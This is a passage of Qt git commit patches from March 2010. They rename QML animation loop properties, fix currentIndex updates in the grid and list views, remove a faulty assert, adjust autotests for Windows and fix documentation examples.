concise!\x9CSHHHHHHHHHHHHHHHHHHHHHHHHHHHH" } diff --git a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml index 176a5b8..f50aec6 100644 --- a/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextedit/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; repeat: true; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Qt.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml index 6a4e7fa..7b981ac 100644 --- a/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml +++ b/tests/auto/declarative/visual/qdeclarativetextinput/cursorDelegate.qml @@ -10,7 +10,7 @@ import Qt 4.6 Rectangle { id:top; color: "black"; width: 3; height: 1; x: -1; y:0} Rectangle { id:bottom; color: "black"; width: 3; height: 1; x: -1; anchors.bottom: parent.bottom;} opacity: 1 - opacity: SequentialAnimation { running: cPage.parent.focus == true; repeat: true; + opacity: SequentialAnimation { running: cPage.parent.focus == true; loops: Qt.Infinite; NumberAnimation { properties: "opacity"; to: 1; duration: 500; easing.type: "InQuad"} NumberAnimation { properties: "opacity"; to: 0; duration: 500; easing.type: "OutQuad"} } diff --git a/tests/auto/declarative/visual/webview/zooming/renderControl.qml b/tests/auto/declarative/visual/webview/zooming/renderControl.qml index 49eb91b..406e156 100644 --- a/tests/auto/declarative/visual/webview/zooming/renderControl.qml +++ b/tests/auto/declarative/visual/webview/zooming/renderControl.qml @@ -10,7 +10,7 @@ Rectangle { width: 400 url: "renderControl.html" x: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 100; to: 0; duration: 200 } PropertyAction { target: webview; property: "renderingEnabled"; value: false } NumberAnimation { from: 0; to: -100; duration: 200 } diff --git a/tests/auto/declarative/visual/webview/zooming/resolution.qml b/tests/auto/declarative/visual/webview/zooming/resolution.qml index 8542768..57cc17b 100644 --- a/tests/auto/declarative/visual/webview/zooming/resolution.qml +++ b/tests/auto/declarative/visual/webview/zooming/resolution.qml @@ -8,7 +8,7 @@ WebView { url: "resolution.html" zoomFactor: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 1; to: 0.25; duration: 2000 } NumberAnimation { from: 0.25; to: 1; duration: 2000 } NumberAnimation { from: 1; to: 5; duration: 2000 } diff --git a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml index c2e9348..f4c8aaa 100644 --- a/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml +++ b/tests/auto/declarative/visual/webview/zooming/zoomTextOnly.qml @@ -8,7 +8,7 @@ WebView { settings.zoomTextOnly: true zoomFactor: SequentialAnimation { - repeat: true + loops: Qt.Infinite NumberAnimation { from: 2; to: 0.25; duration: 1000 } NumberAnimation { from: 0.25; to: 2; duration: 1000 } } -- cgit v0.12 From 8ea277d3dad350eae9778f1dc1169d9ec3f4c392 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 25 Mar 2010 10:16:50 +1000 Subject: Ensure currentIndex is updated when items inserted before currentIndex Was occurring when items inserted but no items had been created yet. Task-number: QTBUG-9313 --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 17 +++++++++++++++-- src/declarative/graphicsitems/qdeclarativelistview.cpp | 17 +++++++++++++++-- 2 files changed, 30 insertions(+), 4 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index afea4ea..2c27b6d 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -1083,8 +1083,9 @@ void QDeclarativeGridView::setCurrentIndex(int index) d->moveReason = QDeclarativeGridViewPrivate::SetIndex; cancelFlick(); d->updateCurrent(index); - } else { + } else if (index != d->currentIndex) { d->currentIndex = index; + emit currentIndexChanged(); } } @@ -1845,9 +1846,17 @@ void QDeclarativeGridView::trackedPositionChanged() void QDeclarativeGridView::itemsInserted(int modelIndex, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; if (!d->visibleItems.count() || d->model->count() <= 1) { d->scheduleLayout(); - d->updateCurrent(qMax(0, qMin(d->currentIndex, d->model->count()-1))); + if (d->currentIndex >= modelIndex) { + // adjust current item index + d->currentIndex += count; + if (d->currentItem) + d->currentItem->index = d->currentIndex; + emit currentIndexChanged(); + } emit countChanged(); return; } @@ -1971,6 +1980,8 @@ void QDeclarativeGridView::itemsInserted(int modelIndex, int count) void QDeclarativeGridView::itemsRemoved(int modelIndex, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; bool currentRemoved = d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count; bool removedVisible = false; @@ -2061,6 +2072,8 @@ void QDeclarativeGridView::destroyRemoved() void QDeclarativeGridView::itemsMoved(int from, int to, int count) { Q_D(QDeclarativeGridView); + if (!isComponentComplete()) + return; QHash moved; bool removedBeforeVisible = false; diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index 4cf8117..ab82f3a 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -1491,8 +1491,9 @@ void QDeclarativeListView::setCurrentIndex(int index) d->moveReason = QDeclarativeListViewPrivate::SetIndex; cancelFlick(); d->updateCurrent(index); - } else { + } else if (index != d->currentIndex) { d->currentIndex = index; + emit currentIndexChanged(); } } @@ -2366,11 +2367,19 @@ void QDeclarativeListView::trackedPositionChanged() void QDeclarativeListView::itemsInserted(int modelIndex, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->updateUnrequestedIndexes(); d->moveReason = QDeclarativeListViewPrivate::Other; if (!d->visibleItems.count() || d->model->count() <= 1) { d->scheduleLayout(); - d->updateCurrent(qMax(0, qMin(d->currentIndex, d->model->count()-1))); + if (d->currentIndex >= modelIndex) { + // adjust current item index + d->currentIndex += count; + if (d->currentItem) + d->currentItem->index = d->currentIndex; + emit currentIndexChanged(); + } emit countChanged(); return; } @@ -2500,6 +2509,8 @@ void QDeclarativeListView::itemsInserted(int modelIndex, int count) void QDeclarativeListView::itemsRemoved(int modelIndex, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->moveReason = QDeclarativeListViewPrivate::Other; d->updateUnrequestedIndexes(); @@ -2598,6 +2609,8 @@ void QDeclarativeListView::destroyRemoved() void QDeclarativeListView::itemsMoved(int from, int to, int count) { Q_D(QDeclarativeListView); + if (!isComponentComplete()) + return; d->updateUnrequestedIndexes(); if (d->visibleItems.isEmpty()) { -- cgit v0.12 From edf7d8c450b1dbc55e10d68083e19e04366062ef Mon Sep 17 00:00:00 2001 From: Aaron Kennedy Date: Thu, 25 Mar 2010 10:27:37 +1000 Subject: Remove faulty assert - the precondition is checked for correctly later on Task-number: QTBUG-9336 --- src/declarative/qml/qdeclarativecompiler.cpp | 3 +-- .../declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt | 1 + tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml | 7 +++++++ .../declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp | 4 +++- 4 files changed, 12 insertions(+), 3 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt create mode 100644 tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index e668553..c1f2fe6 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -1368,7 +1368,6 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl const BindingContext &ctxt) { Q_ASSERT(obj->metaObject()); - Q_ASSERT(!prop->isEmpty()); QByteArray name = prop->name; Q_ASSERT(name.startsWith("on")); @@ -1387,7 +1386,7 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl } else { if (prop->value || prop->values.count() != 1) - COMPILE_EXCEPTION(prop, QCoreApplication::translate("QDeclarativeCompiler","Incorrectly specified signal")); + COMPILE_EXCEPTION(prop, QCoreApplication::translate("QDeclarativeCompiler","Incorrectly specified signal assignment")); prop->index = sigIdx; obj->addSignalProperty(prop); diff --git a/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt new file mode 100644 index 0000000..8b20434 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.errors.txt @@ -0,0 +1 @@ +4:5:Incorrectly specified signal assignment diff --git a/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml new file mode 100644 index 0000000..c84fea3 --- /dev/null +++ b/tests/auto/declarative/qdeclarativelanguage/data/emptySignal.2.qml @@ -0,0 +1,7 @@ +import Test 1.0 + +MyQmlObject { + onBasicSignal { + } +} + diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 72b6b28..eae78c4 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -326,9 +326,11 @@ void tst_qdeclarativelanguage::errors_data() QTest::newRow("invalidAttachedProperty.10") << "invalidAttachedProperty.10.qml" << "invalidAttachedProperty.10.errors.txt" << false; QTest::newRow("invalidAttachedProperty.11") << "invalidAttachedProperty.11.qml" << "invalidAttachedProperty.11.errors.txt" << false; + QTest::newRow("emptySignal") << "emptySignal.qml" << "emptySignal.errors.txt" << false; + QTest::newRow("emptySignal.2") << "emptySignal.2.qml" << "emptySignal.2.errors.txt" << false; + QTest::newRow("nestedErrors") << "nestedErrors.qml" << "nestedErrors.errors.txt" << false; QTest::newRow("defaultGrouped") << "defaultGrouped.qml" << "defaultGrouped.errors.txt" << false; - QTest::newRow("emptySignal") << "emptySignal.qml" << "emptySignal.errors.txt" << false; QTest::newRow("doubleSignal") << "doubleSignal.qml" << "doubleSignal.errors.txt" << false; QTest::newRow("invalidRoot") << "invalidRoot.qml" << "invalidRoot.errors.txt" << false; QTest::newRow("missingValueTypeProperty") << "missingValueTypeProperty.qml" << "missingValueTypeProperty.errors.txt" << false; -- cgit v0.12 From 444e8812eec42abd2dcc5e47826f9a4793a34f66 Mon Sep 17 00:00:00 2001 From: Justin McPherson Date: Thu, 25 Mar 2010 10:32:03 +1000 Subject: Rename loopCount to loops, in line with other declarative elements. Reviewed-by: Dmytro Poplavskiy --- src/multimedia/effects/qsoundeffect.cpp | 10 +++++----- src/multimedia/effects/qsoundeffect_p.h | 8 ++++---- tests/auto/qsoundeffect/tst_qsoundeffect.cpp | 8 ++++---- 3 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/multimedia/effects/qsoundeffect.cpp b/src/multimedia/effects/qsoundeffect.cpp index 53cad8e..ed9ab3f 100644 --- a/src/multimedia/effects/qsoundeffect.cpp +++ b/src/multimedia/effects/qsoundeffect.cpp @@ -80,7 +80,7 @@ QT_BEGIN_NAMESPACE */ /*! - \qmlproperty int SoundEffect::loopCount + \qmlproperty int SoundEffect::loops This property provides a way to control the number of times to repeat the sound on each play(). */ @@ -104,7 +104,7 @@ QT_BEGIN_NAMESPACE */ /*! - \qmlsignal SoundEffect::loopCountChanged() + \qmlsignal SoundEffect::loopsChanged() This handler is called when the number of loops has changes. */ @@ -150,18 +150,18 @@ void QSoundEffect::setSource(const QUrl &url) emit sourceChanged(); } -int QSoundEffect::loopCount() const +int QSoundEffect::loops() const { return d->loopCount(); } -void QSoundEffect::setLoopCount(int loopCount) +void QSoundEffect::setLoops(int loopCount) { if (d->loopCount() == loopCount) return; d->setLoopCount(loopCount); - emit loopCountChanged(); + emit loopsChanged(); } int QSoundEffect::volume() const diff --git a/src/multimedia/effects/qsoundeffect_p.h b/src/multimedia/effects/qsoundeffect_p.h index ec6a2f7..05207a0 100644 --- a/src/multimedia/effects/qsoundeffect_p.h +++ b/src/multimedia/effects/qsoundeffect_p.h @@ -67,7 +67,7 @@ class Q_MULTIMEDIA_EXPORT QSoundEffect : public QObject { Q_OBJECT Q_PROPERTY(QUrl source READ source WRITE setSource NOTIFY sourceChanged) - Q_PROPERTY(int loopCount READ loopCount WRITE setLoopCount NOTIFY loopCountChanged) + Q_PROPERTY(int loops READ loops WRITE setLoops NOTIFY loopsChanged) Q_PROPERTY(int volume READ volume WRITE setVolume NOTIFY volumeChanged) Q_PROPERTY(bool muted READ isMuted WRITE setMuted NOTIFY mutedChanged) @@ -78,8 +78,8 @@ public: QUrl source() const; void setSource(const QUrl &url); - int loopCount() const; - void setLoopCount(int loopCount); + int loops() const; + void setLoops(int loopCount); int volume() const; void setVolume(int volume); @@ -89,7 +89,7 @@ public: Q_SIGNALS: void sourceChanged(); - void loopCountChanged(); + void loopsChanged(); void volumeChanged(); void mutedChanged(); diff --git a/tests/auto/qsoundeffect/tst_qsoundeffect.cpp b/tests/auto/qsoundeffect/tst_qsoundeffect.cpp index b918816..e76a4c5 100644 --- a/tests/auto/qsoundeffect/tst_qsoundeffect.cpp +++ b/tests/auto/qsoundeffect/tst_qsoundeffect.cpp @@ -72,7 +72,7 @@ void tst_QSoundEffect::initTestCase() sound = new QSoundEffect; QVERIFY(sound->source().isEmpty()); - QVERIFY(sound->loopCount() == 1); + QVERIFY(sound->loops() == 1); QVERIFY(sound->volume() == 100); QVERIFY(sound->isMuted() == false); #endif @@ -99,10 +99,10 @@ void tst_QSoundEffect::testSource() void tst_QSoundEffect::testLooping() { #ifndef QT_MULTIMEDIA_QMEDIAPLAYER - QSignalSpy readSignal(sound, SIGNAL(loopCountChanged())); + QSignalSpy readSignal(sound, SIGNAL(loopsChanged())); - sound->setLoopCount(5); - QCOMPARE(sound->loopCount(),5); + sound->setLoops(5); + QCOMPARE(sound->loops(),5); sound->play(); -- cgit v0.12 From 8acd9a9e2661032d831c45fe3724ae6398ad3856 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 25 Mar 2010 12:08:09 +1000 Subject: Make autotest work on windows. --- .../auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp index c3be943..a745a24 100644 --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp @@ -487,7 +487,9 @@ void tst_QDeclarativeLoader::deleteComponentCrash() void tst_QDeclarativeLoader::nonItem() { QDeclarativeComponent component(&engine, TEST_FILE("nonItem.qml")); - QTest::ignoreMessage(QtWarningMsg, "QML Loader (file://" SRCDIR "/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); + QString err = QString("QML Loader (") + QUrl::fromLocalFile(SRCDIR).toString() + QString("/data/nonItem.qml:3:1) Loader does not support loading non-visual elements."); + + QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData()); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader); QVERIFY(loader->item() == 0); @@ -498,7 +500,8 @@ void tst_QDeclarativeLoader::nonItem() void tst_QDeclarativeLoader::vmeErrors() { QDeclarativeComponent component(&engine, TEST_FILE("vmeErrors.qml")); - QTest::ignoreMessage(QtWarningMsg, "(file://" SRCDIR "/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) "); + QString err = QString("(") + QUrl::fromLocalFile(SRCDIR).toString() + QString("/data/VmeError.qml:6: Cannot assign object type QObject with no default method\n onSomethingHappened: QtObject {}) "); + QTest::ignoreMessage(QtWarningMsg, err.toLatin1().constData()); QDeclarativeLoader *loader = qobject_cast(component.create()); QVERIFY(loader); QVERIFY(loader->item() == 0); -- cgit v0.12 From 32d12fdb93ebc656020c3f9da945ed5386772282 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 25 Mar 2010 11:28:00 +1000 Subject: Skip tests for now --- .../declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp index 576fe21..fcb453c 100644 --- a/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp +++ b/tests/auto/declarative/qdeclarativelistmodel/tst_qdeclarativelistmodel.cpp @@ -290,6 +290,8 @@ void tst_QDeclarativeListModel::dynamic_worker_data() void tst_QDeclarativeListModel::dynamic_worker() { + QSKIP("", SkipAll); + QFETCH(QString, script); QFETCH(int, result); QFETCH(QString, warning); @@ -340,6 +342,7 @@ void tst_QDeclarativeListModel::dynamic_worker() void tst_QDeclarativeListModel::convertNestedToFlat_fail() { + QSKIP("", SkipAll); // If a model has nested data, it cannot be used at all from a worker script QFETCH(QString, script); @@ -384,6 +387,7 @@ void tst_QDeclarativeListModel::convertNestedToFlat_fail_data() void tst_QDeclarativeListModel::convertNestedToFlat_ok() { + QSKIP("", SkipAll); // If a model only has plain data, it can be modified from a worker script. However, // once the model is used from a worker script, it no longer accepts nested data -- cgit v0.12 From 4d078ed668541a4051f91b5c120b8cb0534129bd Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 11:15:42 +1000 Subject: Doc fix. --- src/declarative/graphicsitems/qdeclarativegridview.cpp | 2 +- src/declarative/graphicsitems/qdeclarativelistview.cpp | 2 +- src/declarative/graphicsitems/qdeclarativepositioners.cpp | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp index 2c27b6d..de0cb04 100644 --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp @@ -927,7 +927,7 @@ QDeclarativeGridView::~QDeclarativeGridView() id: wrapper SequentialAnimation on GridView.onRemove { PropertyAction { target: wrapper.GridView; property: "delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing: "easeInOutQuad" } + NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" } PropertyAction { target: wrapper.GridView; property: "delayRemove"; value: false } } } diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp index ab82f3a..320a2f0 100644 --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp @@ -1331,7 +1331,7 @@ QDeclarativeListView::~QDeclarativeListView() id: wrapper SequentialAnimation on ListView.onRemove { PropertyAction { target: wrapper.ListView; property: "delayRemove"; value: true } - NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing: "easeInOutQuad" } + NumberAnimation { target: wrapper; property: "scale"; to: 0; duration: 250; easing.type: "InOutQuad" } PropertyAction { target: wrapper.ListView; property: "delayRemove"; value: false } } } diff --git a/src/declarative/graphicsitems/qdeclarativepositioners.cpp b/src/declarative/graphicsitems/qdeclarativepositioners.cpp index ded58f5..7a0d33a 100644 --- a/src/declarative/graphicsitems/qdeclarativepositioners.cpp +++ b/src/declarative/graphicsitems/qdeclarativepositioners.cpp @@ -385,7 +385,7 @@ Column { move: Transition { NumberAnimation { properties: "y" - easing: "easeOutBounce" + easing.type: "OutBounce" } } } -- cgit v0.12 From a20828a110ad35a7a98a6234ca0013203d9f8b61 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Thu, 25 Mar 2010 12:09:59 +1000 Subject: Qt.Infinite -> Animation.Infinite Too misleading to have on the Qt object, as it only means infinite for animation loops. --- demos/declarative/flickr/common/Loading.qml | 2 +- .../photoviewer/PhotoViewerCore/BusyIndicator.qml | 2 +- demos/declarative/twitter/TwitterCore/Loading.qml | 2 +- doc/src/declarative/animation.qdoc | 2 +- .../declarative/animations/color-animation.qml | 10 +++---- .../declarative/animations/property-animation.qml | 2 +- .../border-image/content/MyBorderImage.qml | 4 +-- examples/declarative/effects/effects.qml | 4 +-- examples/declarative/fillmode/fillmode.qml | 2 +- examples/declarative/fonts/banner.qml | 2 +- examples/declarative/fonts/hello.qml | 4 +-- .../listview/content/ClickAutoRepeating.qml | 2 +- examples/declarative/parallax/qml/Smiley.qml | 2 +- examples/declarative/progressbar/progressbars.qml | 6 ++-- examples/declarative/tvtennis/tvtennis.qml | 2 +- .../declarative/webview/content/SpinSquare.qml | 2 +- src/declarative/QmlChanges.txt | 2 +- src/declarative/qml/qdeclarativedom.cpp | 4 +-- src/declarative/qml/qdeclarativeengine.cpp | 3 -- src/declarative/util/qdeclarativeanimation.cpp | 11 ++++--- src/declarative/util/qdeclarativeanimation_p.h | 3 ++ src/declarative/util/qdeclarativespringfollow.cpp | 2 +- src/declarative/util/qdeclarativeutilmodule.cpp | 35 +++++++++++++++++++++- .../qdeclarativeanimations/data/dontAutoStart.qml | 2 +- .../data/propertychangestest.qml | 2 +- .../qdeclarativeitem/data/propertychanges.qml | 2 +- .../data/propertychangestest.qml | 2 +- .../qdeclarativerepeater/data/properties.qml | 2 +- .../declarative/visual/animation/loop/loop.qml | 2 +- .../animation/pauseAnimation/pauseAnimation.qml | 2 +- .../content/MyBorderImage.qml | 4 +-- .../visual/qdeclarativeeasefollow/easefollow.qml | 2 +- .../visual/qdeclarativespringfollow/follow.qml | 2 +- .../visual/qdeclarativetext/elide/elide2.qml | 2 +- .../visual/qdeclarativetext/elide/multilength.qml | 2 +- .../visual/qdeclarativetextedit/cursorDelegate.qml | 2 +- .../qdeclarativetextinput/cursorDelegate.qml | 2 +- .../visual/webview/zooming/renderControl.qml | 2 +- .../visual/webview/zooming/resolution.qml | 2 +- .../visual/webview/zooming/zoomTextOnly.qml | 2 +- 40 files changed, 91 insertions(+), 55 deletions(-) diff --git a/demos/declarative/flickr/common/Loading.qml b/demos/declarative/flickr/common/Loading.qml index 87a4ef9..4c41717 100644 --- a/demos/declarative/flickr/common/Loading.qml +++ b/demos/declarative/flickr/common/Loading.qml @@ -3,6 +3,6 @@ import Qt 4.6 Image { id: loading; source: "pics/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; loops: Qt.Infinite; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900 } } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml index fc83766..361659c 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/BusyIndicator.qml @@ -5,5 +5,5 @@ Image { property bool on: false source: "images/busy.png"; visible: container.on - NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Qt.Infinite; duration: 1200 } + NumberAnimation on rotation { running: container.on; from: 0; to: 360; loops: Animation.Infinite; duration: 1200 } } diff --git a/demos/declarative/twitter/TwitterCore/Loading.qml b/demos/declarative/twitter/TwitterCore/Loading.qml index e403b8d..957de0f 100644 --- a/demos/declarative/twitter/TwitterCore/Loading.qml +++ b/demos/declarative/twitter/TwitterCore/Loading.qml @@ -3,6 +3,6 @@ import Qt 4.6 Image { id: loading; source: "images/loading.png" NumberAnimation on rotation { - from: 0; to: 360; running: loading.visible == true; loops: Qt.Infinite; duration: 900 + from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900 } } diff --git a/doc/src/declarative/animation.qdoc b/doc/src/declarative/animation.qdoc index 00993f0..9969e8f 100644 --- a/doc/src/declarative/animation.qdoc +++ b/doc/src/declarative/animation.qdoc @@ -72,7 +72,7 @@ Rectangle { x: 60-img.width/2 y: 0 SequentialAnimation on y { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { to: 200-img.height; easing.type: "OutBounce"; duration: 2000 } PauseAnimation { duration: 1000 } NumberAnimation { to: 0; easing.type: "OutQuad"; duration: 1000 } diff --git a/examples/declarative/animations/color-animation.qml b/examples/declarative/animations/color-animation.qml index 5d313c1..d8361ba 100644 --- a/examples/declarative/animations/color-animation.qml +++ b/examples/declarative/animations/color-animation.qml @@ -12,7 +12,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - loops: Qt.Infinite + loops: Animation.Infinite ColorAnimation { from: "DeepSkyBlue"; to: "#0E1533"; duration: 5000 } ColorAnimation { from: "#0E1533"; to: "DeepSkyBlue"; duration: 5000 } } @@ -20,7 +20,7 @@ Item { GradientStop { position: 1.0 SequentialAnimation on color { - loops: Qt.Infinite + loops: Animation.Infinite ColorAnimation { from: "SkyBlue"; to: "#437284"; duration: 5000 } ColorAnimation { from: "#437284"; to: "SkyBlue"; duration: 5000 } } @@ -32,7 +32,7 @@ Item { Item { width: parent.width; height: 2 * parent.height transformOrigin: Item.Center - NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Qt.Infinite } + NumberAnimation on rotation { from: 0; to: 360; duration: 10000; loops: Animation.Infinite } Image { source: "images/sun.png"; y: 10; anchors.horizontalCenter: parent.horizontalCenter transformOrigin: Item.Center; rotation: -3 * parent.rotation @@ -46,7 +46,7 @@ Item { source: "images/star.png"; angleDeviation: 360; velocity: 0 velocityDeviation: 0; count: parent.width / 10; fadeInDuration: 2800 SequentialAnimation on opacity { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: 0; to: 1; duration: 5000 } NumberAnimation { from: 1; to: 0; duration: 5000 } } @@ -60,7 +60,7 @@ Item { GradientStop { position: 0.0 SequentialAnimation on color { - loops: Qt.Infinite + loops: Animation.Infinite ColorAnimation { from: "ForestGreen"; to: "#001600"; duration: 5000 } ColorAnimation { from: "#001600"; to: "ForestGreen"; duration: 5000 } } diff --git a/examples/declarative/animations/property-animation.qml b/examples/declarative/animations/property-animation.qml index d33b55d..401feb5 100644 --- a/examples/declarative/animations/property-animation.qml +++ b/examples/declarative/animations/property-animation.qml @@ -43,7 +43,7 @@ Item { // Animate the y property. Setting repeat to true makes the // animation repeat indefinitely, otherwise it would only run once. SequentialAnimation on y { - loops: Qt.Infinite + loops: Animation.Infinite // Move from minHeight to maxHeight in 300ms, using the OutExpo easing function NumberAnimation { diff --git a/examples/declarative/border-image/content/MyBorderImage.qml b/examples/declarative/border-image/content/MyBorderImage.qml index bd0f5fb..f0c3cfc 100644 --- a/examples/declarative/border-image/content/MyBorderImage.qml +++ b/examples/declarative/border-image/content/MyBorderImage.qml @@ -18,13 +18,13 @@ Item { id: image; x: container.width / 2 - width / 2; y: container.height / 2 - height / 2 SequentialAnimation on width { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: container.minWidth; to: container.maxWidth; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxWidth; to: container.minWidth; duration: 2000; easing.type: "InOutQuad" } } SequentialAnimation on height { - loops: Qt.Infinite + loops: Animation.Infinite NumberAnimation { from: container.minHeight; to: container.maxHeight; duration: 2000; easing.type: "InOutQuad"} NumberAnimation { from: container.maxHeight; to: container.minHeight; duration: 2000; easing.type: "InOutQuad" } } diff --git a/examples/declarative/effects/effects.qml b/examples/declarative/effects/effects.qml index 45246a9..2280a2a 100644 --- a/examples/declarative/effects/effects.qml +++ b/examples/declarative/effects/effects.qml @@ -16,7 +16,7 @@ Rectangle { running: false from: 0; to: 10 duration: 1000 - loops: Qt.Infinite + loops: Animation.Infinite } } @@ -33,7 +33,7 @@ Rectangle { effect: DropShadow { blurRadius: 3 offset.x: 3 - NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; loops: Qt.Infinite; } + NumberAnimation on offset.y { id: dropShadowEffect; from: 0; to: 10; duration: 1000; running: false; loops: Animation.Infinite; } } MouseArea { anchors.fill: parent; onClicked: dropShadowEffect.running = !dropShadowEffect.running } diff --git a/examples/declarative/fillmode/fillmode.qml b/examples/declarative/fillmode/fillmode.qml index effb964..3f2020c 100644 --- a/examples/declarative/fillmode/fillmode.qml +++ b/examples/declarative/fillmode/fillmode.qml @@ -5,7 +5,7 @@ Image { height: 250 source: "face.png" SequentialAnimation on fillMode { - loops: Qt.Infinite + loops: Animation.Infinite PropertyAction { value: Image.Stretch } PropertyAction { target: label; property: "text"; value: "Stretch" } PauseAnimation { duration: 1000 } diff --git a/examples/declarative/fonts/banner.qml b/examples/declarative/fonts/banner.qml index bb4fe24..957246f 100644 --- a/examples/declarative/fonts/banner.qml +++ b/examples/declarative/fonts/banner.qml @@ 